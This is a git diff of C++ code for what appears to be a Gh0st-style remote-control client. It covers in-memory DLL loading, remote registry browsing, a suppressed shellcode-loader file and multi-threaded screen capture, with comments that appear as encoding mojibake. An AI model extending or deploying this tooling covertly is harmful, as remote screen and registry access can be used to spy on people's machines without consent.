* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
|
||||
* internally to load an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
|
||||
* internally to get the address of an exported function.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
|
||||
* internally to release an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
||||
@@ -6,12 +6,11 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
@@ -19,7 +18,7 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(Cli
|
||||
|
||||
CRegisterManager::~CRegisterManager()
|
||||
{
|
||||
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("CRegisterManager <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
@@ -15,10 +15,10 @@
|
||||
class CRegisterManager : public CManager
|
||||
{
|
||||
public:
|
||||
CRegisterManager(IOCPClient* ClientObject, int n);
|
||||
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CRegisterManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID CRegisterManager::Find(char bToken, char *szPath);
|
||||
VOID Find(char bToken, char *szPath);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
#include "RegisterOperation.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -86,9 +85,11 @@ char* RegisterOperation::FindPath()
|
||||
if(KeyCount>0&&KeySize>1){
|
||||
int Size=sizeof(REGMSG)+1;
|
||||
|
||||
//buf=new char[KeyCnt*KeySize+size+1];
|
||||
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||
if (szBuffer == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,DataSize);
|
||||
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
@@ -149,13 +150,20 @@ char* RegisterOperation::FindKey()
|
||||
DWORD size=sizeof(REGMSG)+
|
||||
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
||||
szBuffer = (char*)LocalAlloc(LPTR, size);
|
||||
if (szBuffer==NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,size);
|
||||
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
|
||||
szValueName=(char *)malloc(NameSize);
|
||||
szValueDate=(LPBYTE)malloc(DataSize);
|
||||
|
||||
if (szValueName==NULL||szValueDate == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
char *szTemp=szBuffer+msgsize+1;
|
||||
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
||||
{
|
||||
|
||||
@@ -14,11 +14,11 @@ class RegisterOperation
|
||||
public:
|
||||
RegisterOperation(char bToken);
|
||||
virtual ~RegisterOperation();
|
||||
char* RegisterOperation::FindPath();
|
||||
char* FindPath();
|
||||
HKEY MKEY;
|
||||
char KeyPath[MAX_PATH];
|
||||
void RegisterOperation::SetPath(char *szPath);
|
||||
char* RegisterOperation::FindKey();
|
||||
void SetPath(char *szPath);
|
||||
char* FindKey();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||
|
||||
BIN
client/Res/ghost.ico
Normal file
BIN
client/Res/ghost.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
BIN
client/Res/msg.ico
Normal file
BIN
client/Res/msg.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 9.4 KiB |
72921
client/SCLoader.cpp
Normal file
72921
client/SCLoader.cpp
Normal file
File diff suppressed because it is too large
Load Diff
386
client/ScreenCapture.h
Normal file
386
client/ScreenCapture.h
Normal file
@@ -0,0 +1,386 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include <assert.h>
|
||||
#include "CursorInfo.h"
|
||||
#include "../common/commands.h"
|
||||
|
||||
#define DEFAULT_GOP 0x7FFFFFFF
|
||||
|
||||
#include <vector>
|
||||
#include <queue>
|
||||
#include <thread>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <functional>
|
||||
#include <future>
|
||||
#include "X264Encoder.h"
|
||||
|
||||
|
||||
class ThreadPool {
|
||||
public:
|
||||
// <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̶<EFBFBD><CCB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
ThreadPool(size_t numThreads) : stop(false) {
|
||||
for (size_t i = 0; i < numThreads; ++i) {
|
||||
workers.emplace_back([this] {
|
||||
while (true) {
|
||||
std::function<void()> task;
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(this->queueMutex);
|
||||
this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); });
|
||||
if (this->stop && this->tasks.empty()) return;
|
||||
task = std::move(this->tasks.front());
|
||||
this->tasks.pop();
|
||||
}
|
||||
|
||||
try {
|
||||
task();
|
||||
}
|
||||
catch (...) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̳߳<DFB3>
|
||||
~ThreadPool() {
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
stop = true;
|
||||
}
|
||||
condition.notify_all();
|
||||
for (std::thread& worker : workers)
|
||||
worker.join();
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ύ
|
||||
template<typename F>
|
||||
auto enqueue(F&& f) -> std::future<decltype(f())> {
|
||||
using ReturnType = decltype(f());
|
||||
auto task = std::make_shared<std::packaged_task<ReturnType()>>(std::forward<F>(f));
|
||||
std::future<ReturnType> res = task->get_future();
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
tasks.emplace([task]() { (*task)(); });
|
||||
}
|
||||
condition.notify_one();
|
||||
return res;
|
||||
}
|
||||
|
||||
void waitAll() {
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
condition.wait(lock, [this] { return tasks.empty(); });
|
||||
}
|
||||
|
||||
private:
|
||||
std::vector<std::thread> workers;
|
||||
std::queue<std::function<void()>> tasks;
|
||||
|
||||
std::mutex queueMutex;
|
||||
std::condition_variable condition;
|
||||
std::atomic<bool> stop;
|
||||
};
|
||||
|
||||
class ScreenCapture
|
||||
{
|
||||
public:
|
||||
ThreadPool* m_ThreadPool; // <20>̳߳<DFB3>
|
||||
BYTE* m_FirstBuffer; // <20><>һ֡<D2BB><D6A1><EFBFBD><EFBFBD>
|
||||
BYTE* m_RectBuffer; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
|
||||
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
|
||||
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
|
||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
|
||||
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
|
||||
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
|
||||
bool m_SendKeyFrame; // <20><><EFBFBD>ؼ<CDB9>֡
|
||||
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
|
||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
|
||||
|
||||
m_BlockNum = 8;
|
||||
m_ThreadPool = new ThreadPool(m_BlockNum);
|
||||
|
||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||
DEVMODE devmode;
|
||||
memset(&devmode, 0, sizeof(devmode));
|
||||
devmode.dmSize = sizeof(DEVMODE);
|
||||
devmode.dmDriverExtra = 0;
|
||||
BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||
m_ulFullWidth = devmode.dmPelsWidth;
|
||||
m_ulFullHeight = devmode.dmPelsHeight;
|
||||
int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
|
||||
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
|
||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
|
||||
|
||||
if (ALGORITHM_H264 == m_bAlgorithm)
|
||||
{
|
||||
m_encoder = new CX264Encoder();
|
||||
if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) {
|
||||
Mprintf("Open x264encoder failed!!!\n");
|
||||
}
|
||||
}
|
||||
|
||||
m_BlockBuffers = new LPBYTE[m_BlockNum];
|
||||
m_BlockSizes = new ULONG[m_BlockNum];
|
||||
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
|
||||
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
|
||||
}
|
||||
}
|
||||
virtual ~ScreenCapture(){
|
||||
if (m_BitmapInfor_Full != NULL) {
|
||||
delete[](char*)m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
|
||||
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
|
||||
SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(m_BlockBuffers);
|
||||
SAFE_DELETE_ARRAY(m_BlockSizes);
|
||||
|
||||
SAFE_DELETE(m_ThreadPool);
|
||||
SAFE_DELETE(m_encoder);
|
||||
}
|
||||
|
||||
public:
|
||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0) {
|
||||
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||
LPBYTE p = szBuffer;
|
||||
ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4;
|
||||
ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1;
|
||||
for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) {
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
ULONG index = i;
|
||||
LPDWORD pos1 = p1++, pos2 = p2++;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ͬ
|
||||
for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2);
|
||||
ULONG ulCount = i - index;
|
||||
memcpy(pos1, pos2, ulCount); // <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
*(LPDWORD)(p) = index + startPostion;
|
||||
*(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio;
|
||||
p += 2 * sizeof(ULONG);
|
||||
if (channel != 1) {
|
||||
memcpy(p, pos2, ulCount);
|
||||
p += ulCount;
|
||||
}
|
||||
else {
|
||||
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
|
||||
LPBYTE src = (LPBYTE)pos2;
|
||||
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return p - szBuffer;
|
||||
}
|
||||
|
||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||
ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo) {
|
||||
|
||||
int N = m_BlockNum;
|
||||
ULONG blockLength = ulCompareLength / N; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
ULONG remainingLength = ulCompareLength % N; // ʣ<><CAA3><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
|
||||
std::vector<std::future<ULONG>> futures;
|
||||
for (int blockY = 0; blockY < N; ++blockY) {
|
||||
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0);
|
||||
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
|
||||
ULONG startPosition = blockY * blockLength;
|
||||
|
||||
futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG {
|
||||
LPBYTE srcBlock = srcData + startPosition;
|
||||
LPBYTE dstBlock = dstData + startPosition;
|
||||
LPBYTE blockBuffer = m_BlockBuffers[blockY];
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><F1B2A2B7>رȶ<D8B1><C8B6><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition);
|
||||
}));
|
||||
}
|
||||
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ֵ
|
||||
for (auto& future : futures) {
|
||||
future.get();
|
||||
}
|
||||
|
||||
// <20>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD>п<EFBFBD><D0BF>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2> szBuffer
|
||||
ULONG offset = 0;
|
||||
for (int blockY = 0; blockY < N; ++blockY) {
|
||||
memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]);
|
||||
offset += m_BlockSizes[blockY];
|
||||
}
|
||||
|
||||
return offset; // <20><><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
|
||||
}
|
||||
|
||||
virtual int GetFrameID() const {
|
||||
return m_FrameID;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
virtual int GetBMPSize() const {
|
||||
assert(m_BitmapInfor_Full);
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
void ToGray(LPBYTE dst, LPBYTE src, int biSizeImage) {
|
||||
for (ULONG i = 0; i < biSizeImage; i += 4, dst += 4, src += 4) {
|
||||
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
}
|
||||
}
|
||||
|
||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
||||
BYTE algo = m_bAlgorithm;
|
||||
int frameID = m_FrameID + 1;
|
||||
bool keyFrame = (frameID % m_GOP == 0);
|
||||
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
|
||||
LPBYTE data = m_RectBuffer + 1;
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CCursorInfo m_CursorInfor;
|
||||
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
||||
memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE));
|
||||
ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE);
|
||||
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||
LPBYTE nextData = ScanNextScreen();
|
||||
if (nullptr == nextData) {
|
||||
// ɨ<><C9A8><EFBFBD><EFBFBD>һ֡ʧ<D6A1><CAA7>Ҳ<EFBFBD><D2B2>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><CDB9><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>
|
||||
*ulNextSendLength = 1 + offset;
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
#if SCREENYSPY_IMPROVE
|
||||
memcpy(data + offset, &++m_FrameID, sizeof(int));
|
||||
offset += sizeof(int);
|
||||
#if SCREENSPY_WRITE
|
||||
WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID);
|
||||
#endif
|
||||
#else
|
||||
m_FrameID++;
|
||||
#endif
|
||||
|
||||
if (keyFrame)
|
||||
{
|
||||
switch (algo)
|
||||
{
|
||||
case ALGORITHM_DIFF: {
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_GRAY: {
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
ToGray(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4*m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
else {
|
||||
switch (algo)
|
||||
{
|
||||
case ALGORITHM_DIFF: case ALGORITHM_GRAY: {
|
||||
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
virtual BYTE SetAlgorithm(int algo) {
|
||||
BYTE oldAlgo = m_bAlgorithm;
|
||||
m_bAlgorithm = algo;
|
||||
return oldAlgo;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>ת<EFBFBD><D7AA>
|
||||
virtual void PointConversion(POINT& pt) const {
|
||||
if (m_bZoomed) {
|
||||
pt.x *= m_wZoom;
|
||||
pt.y *= m_hZoom;
|
||||
}
|
||||
}
|
||||
|
||||
// <20><>ȡλͼ<CEBB>ṹ<EFBFBD><E1B9B9>Ϣ
|
||||
virtual const LPBITMAPINFO& GetBIData() const {
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
public: // <20><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0;
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
|
||||
virtual LPBYTE ScanNextScreen() = 0;
|
||||
};
|
||||
196
client/ScreenCapturerDXGI.h
Normal file
196
client/ScreenCapturerDXGI.h
Normal file
@@ -0,0 +1,196 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// ֻҪ<D6BB>㰲װ<E3B0B2><D7B0> Windows 8 SDK <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE> Windows SDK<44><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD> dxgi1_2.h <20><><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>롣
|
||||
// <20><><EFBFBD><EFBFBD> Windows 8 <20><><EFBFBD><EFBFBD><EFBFBD>°汾<C2B0><E6B1BE><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>
|
||||
#include <dxgi1_2.h>
|
||||
#include <d3d11.h>
|
||||
|
||||
#pragma comment(lib, "d3d11.lib")
|
||||
|
||||
// author: ChatGPT
|
||||
// update: 962914132@qq.com
|
||||
// DXGI 1.2<EFBFBD><EFBFBD>IDXGIOutputDuplication<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>ͳ GDI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD> 3 <20><><EFBFBD><EFBFBD> 10 <20><>֮<EFBFBD>䣬<EFBFBD><E4A3AC><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʺ<EFBFBD>ʹ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
class ScreenCapturerDXGI : public ScreenCapture {
|
||||
private:
|
||||
ID3D11Device* d3dDevice = nullptr;
|
||||
ID3D11DeviceContext* d3dContext = nullptr;
|
||||
IDXGIOutputDuplication* deskDupl = nullptr;
|
||||
ID3D11Texture2D* cpuTexture = nullptr;
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
